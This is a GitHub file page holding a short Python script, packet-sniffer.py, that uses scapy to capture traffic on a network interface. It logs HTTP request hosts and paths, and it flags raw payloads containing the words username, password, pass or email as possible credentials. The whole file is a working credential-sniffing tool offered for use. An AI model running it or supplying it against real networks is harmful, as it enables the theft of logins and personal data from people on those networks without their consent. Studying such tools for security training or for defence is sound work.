-
Notifications
You must be signed in to change notification settings - Fork 11
/
packet-sniffer.py
27 lines (24 loc) · 1006 Bytes
/
packet-sniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
import scapy.all as scapy
import argparse
from scapy.layers import http
print("\033[93m usage : packet-sniffer -i <give interface>")
def get_interface():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", dest="interface", help="Specify interface on which to sniff packets")
arguments = parser.parse_args()
return arguments.interface
def sniff(iface):
scapy.sniff(iface=iface, store=False, prn=process_packet)
def process_packet(packet):
if packet.haslayer(http.HTTPRequest):
print("[+] Http Request >> " + packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path)
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keys = ["username", "password", "pass", "email"]
for key in keys:
if key in load:
print("\n\n\n[+] Possible password/username >> " + load + "\n\n\n")
break
iface = get_interface()
sniff(iface)